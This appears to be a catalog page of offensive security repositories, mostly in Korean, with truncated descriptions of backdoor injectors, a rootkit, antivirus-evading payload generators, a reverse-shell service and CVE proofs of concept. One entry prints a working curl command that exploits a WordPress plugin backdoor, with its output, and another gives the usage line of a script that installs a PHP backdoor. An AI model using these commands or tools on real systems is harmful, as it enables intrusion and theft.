backdoor-apk

backdoor-apk backdoor-apk는 모든 Android APK 파일에 백도어를 추가하는 과정을 간소화하는 셸 스크립트입니다. 이 셸 스크립트 사용자는 Linux, Bash, Metasploit, Apktool, Android SDK, smali 등에 대한 실무 지식을 갖추고 있어야 합니다. 이 셸 스크립트는 어떠한 보증도 없이 '있는 그대로' 제공되며 교육 목적으로만 사용됩니다. 사용법: root@kali:/Code/github/backdoor-apk/backdoor-apk ./backdoor-apk.sh...

TripleCross

TripleCross TripleCross는 eBPF 기술의 공격적 기능을 보여주는 Linux eBPF 루트킷입니다. TripleCross는 이 분야의 이전 임플란트 설계, 특히 DEFCON 27에서 Jeff Dileo1, DEFCON 29에서 Pat Hogan2, DEFCON 29에서 Guillaume Fournier와 Sylvain Afchain3, 그리고 Kris Nóva의 Boopkit4의 연구에서 영감을 받았습니다. 우리는 eBPF 기술의 공격적 기능에 대한 이전 탐구에서 개척된 기술 중 일부를 재사용하고 확장합니다....

browser-backdoor

BrowserBackdoor BrowserBackdoor는 JavaScript WebSocket 백도어를 사용하여 리스너에 연결하는 Electron 애플리케이션입니다. BrowserBackdoorServer는 들어오는 WebSocket 연결을 수신하고 원격 시스템에 명령을 보내기 위한 명령줄 인터페이스를 생성하는 WebSocket 서버입니다. BrowserBackdoor의 JavaScript 백도어는 WebSocket을 지원하는 모든 브라우저에서 사용할 수 있습니다. BrowserBackdoor 클라이언트 애플리케이션을 사용하...

CBM

Car Backdoor Maker Car Backdoor Makerは、攻撃テンプレートを作成し、The Bichoにロードするためのソフトウェアです。 始める前に、The Bichoハードウェアの入手方法をお読みください。 スクリーンショット インストールと使用方法 このプロジェクトにはwikiがあり、以下の有用なドキュメントがあります: インストール ソースコードからのコンパイル Linuxでの実行 Windowsでの実行 The Bichoへの接続 基本設定 CANフレームの設定 攻撃テンプレートの保存 攻撃テンプレートの復元 詳細設定 電話番号フィルター 停止コマンド...

CVE-2019-6447

CVE-2019-6447 이 문서는 ES 파일 관리자에서 발견된 Android 오픈 포트 취약점의 수동 익스플로잇에 관한 것입니다. 이 오픈 TCP 포트를 통해 공격자는 백도어를 설치하고 사용자의 모든 데이터를 수집할 수 있습니다. 또한 이 문서에는 취약점을 입증하기 위한 개념 증명PoC이 제시되며, 추가 지식을 위해 백도어 공격에 대한 개요도 소개됩니다. PDF를 다운로드하고 즐기세요 !!! 건배 !!!...

CVE-2010-1240

CVE-2010-1240 - PDF에 백도어 삽입 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 Description Windows 및 Mac OS X에서 Adobe Reader 및 Acrobat 9.x9.3.3 미만 및 8.x8.2.3 미만는 파일 실행 경고 대화상자의 한 텍스트 필드 내용을 제한하지 않습니다. 이로 인해 원격 공격자가 PDF 문서에 지정된 임의의 로컬 프로그램을 실행하도록 사용자를 속이기 쉬워집니다. 이는 열기 버튼을 클릭하면 사용자가 암호화된 메시지를 읽을 수 있다고 주장하는 텍스트 필드를 통해...

honeypot-dlink-CVE-2024-3273

honeypot-dlink-CVE-2024-3273 CVE-2024-3273용 빠르고 간단한 허니팟입니다. 이 템플릿을 사용하면 약 10분 안에 기본 허니팟을 설정할 수 있습니다. TL;DR: 를 찾습니다 fofa, shodan, onyphe, .... wgetclonehttp.sh로 클론합니다. 허니팟을 더 현실적으로 만들기 위해 수동으로 조정합니다 클론이 완벽하지 않아 일부 파일은 404가 발생합니다. server.py에 익스플로잇 경로와 일치하는 규칙및 익스플로잇 처리 로직을 추가합니다. 저장하고 실행합니다! 파일은...

vsftpd-234-vuln-report

💥 vsftpd 2.3.4 백도어 익스플로잇 보고서 Metasploit을 사용한 vsftpd 2.3.4의 알려진 취약점 악용 📌 대상 세부 정보 대상 IP: 192.168.150.133 서비스: FTP 취약한 버전: vsftpd 2.3.4 익스플로잇 모듈: exploit/unix/ftp/vsftpd234backdoor 페이로드: 명령 셸 TCP 🔍 취약점 요약 vsftpd 2.3.4에는 특수하게 조작된 사용자 이름:로 끝나는이 수신될 때 포트 6200에서 명령 셸을 여는 악성 백도어가 포함되어 있습니다. CVE:...

tofu

tofu 오프라인 Windows 파일 시스템을 해킹하고 로그인 화면을 우회하기 위한 모듈식 도구입니다. 해시 덤프, OSK 백도어, 사용자 열거 등을 수행할 수 있습니다. 작동 방식 : Windows 컴퓨터가 종료된 경우, Bitlocker 또는 다른 암호화 서비스가 활성화되어 있지 않으면 저장 장치는 잠금 해제된 것처럼 장치에 저장된 모든 것을 포함합니다. 즉, 부팅 가능한 USB의 운영 체제로 부팅하여 파일에 접근하거나 파일 시스템을 다른 컴퓨터에 연결할 수 있습니다. 이 도구는 Linux에서 Windows 파일 시스템에...

dbd

d8888b. d8888b. d8888b. 88 8D 88 8D 88 8D 88 88 88oooY' 88 88 88 88 88b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D' Durandal's Backdoor 저작권 C 2013 Kyle Barnthouse [email protected] dbd는 GNU GPL에 따라 배포됩니다 Mipsbe 바이너리는 Darkerego https://github.com/darkerego mailto:[email protected]...

TheFatRat

TheFatRat A Massive Exploiting Tool TheFatRat is an exploiting tool which compiles a malware with famous payload, and then the compiled maware can be executed on Linux , Windows , Mac and Android. TheFatRat Provides An Easy way to create Backdoors and Payload which can bypass most anti-virus...

TheFatRat

TheFatRat 대규모 익스플로잇 도구 TheFatRat 는 유명한 페이로드로 악성코드를 컴파일하고, 컴파일된 악성코드는 Linux, Windows, Mac 및 Android에서 실행될 수 있는 익스플로잇 도구입니다. TheFatRat 는 대부분의 안티바이러스를 우회할 수 있는 백도어와 페이로드를 쉽게 생성하는 방법을 제공합니다. 정보 이 도구는 교육 목적으로만 사용되며, 사전 상호 동의 없이 대상을 공격하기 위해 TheFatRat를 사용하는 것은 불법입니다. 개발자는 본 프로그램으로 인한 오용이나 손해에 대해 어떠한 책임도...

OSRipper

OSRipper v0.4.2 크로스 플랫폼 고급 페이로드 생성기 및 암호화 도구 FUD 기능 포함 기능 • 빠른 시작 • 웹 UI • 페이로드 유형 • 문서 개요 OSRipper는 공인된 침투 테스트 및 레드팀 운영을 위해 설계된 정교하고 완전히 탐지되지 않는 FUD 백도어 생성기이자 암호화 도구입니다. 고급 회피 기법, 다양한 페이로드 유형, 손상된 시스템을 관리하기 위한 현대적인 웹 기반 C2 인터페이스를 갖추고 있습니다. 주요 특징 완전 탐지 불가 FUD - 고급 회피 기술로 최신 안티바이러스 솔루션 우회 웹 기반 C2...

reverse-shell

reverse-shell Reverse Shell as a Service - https://reverse-shell.sh Easy to remember reverse shell that should work on most Unix-like systems. Detects available software on the target and runs an appropriate payload. Usage 1. Listen for connection On your machine, open up a port and listen on it...

CVE-2016-10033-PoC

CVE-2016-10033-PoC PentesterLab을 위해 작성했습니다. PentesterLab 사용자라면 속임수를 쓰지 마세요. 배우는 것이 훨씬 더 좋습니다. 누군가에게 유용하기를 바랍니다. 미래의 저에게가 아니라면요 : 대화형 셸이 있으며, 멋진 argparse 기능도 있습니다. 사용법 usage: poc.py -h --target TARGET --backdoor BACKDOOR --proxy --raw --no-color options: -h, --help show this help message and exit...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar バックドア curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

JSRat-Py

JSRat-Py 이것은 JSRat.ps1을 Python으로 구현한 것입니다. 이제 Powershell이 활성화된 Windows OS로 제한되지 않고 모든 OS에서 공격 서버를 실행할 수 있습니다. rundll32 또는 regsvr32 방식을 통한 클라이언트 호출 처리를 지원하도록 추가했습니다. 참고 자료 및 원본 프로젝트: regsvr32: https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302 rundll32:...

CVE-2021-40859

CVE-2021-40859 Auerswald VoIP 시스템 비밀 백도어 - PoC 도구 사용법: CVE-2021-40859.py http://target:port...

vscan

vscan 취약점 스캐너 도구는 nmap과 nse 스크립트를 사용하여 취약점을 찾습니다. 이 도구는 nmap을 이용한 취약점 스캐닝에 추가적인 가치를 제공합니다. NSE 스크립트를 사용하며, 이를 통해 취약점 탐지 및 익스플로잇 측면에서 유연성을 높일 수 있습니다. 아래는 NSE 스크립트가 제공하는 몇 가지 기능입니다. 네트워크 탐색 더 정교한 버전 탐지 취약점 탐지 백도어 탐지 취약점 익스플로잇 이 도구는 칼리 리눅스에서 NSE 스크립트가 위치한 경로 /usr/share/nmap/scripts/를 사용합니다. 도구는 다음을...

wordpress_cropimage

WordPress Crop-Image CVE-2019-8943 워드프레스 Crop-Image CVE-2019-8943 인증된 원격 코드 실행RCE을 위한 파이썬3 스크립트입니다. 악성 PHP 백도어를 설치합니다. 시작하기 프로그램 실행 RCE python3 wprce.py -t http://wordpress.rce/ -u admin -p password -m twentytwenty 도움말 도움말 메뉴를 보려면: python3 wprce.py -h 면책 조항 이 저장소에 제공된 모든 코드는 교육/연구 목적으로만 제공됩니다. 이...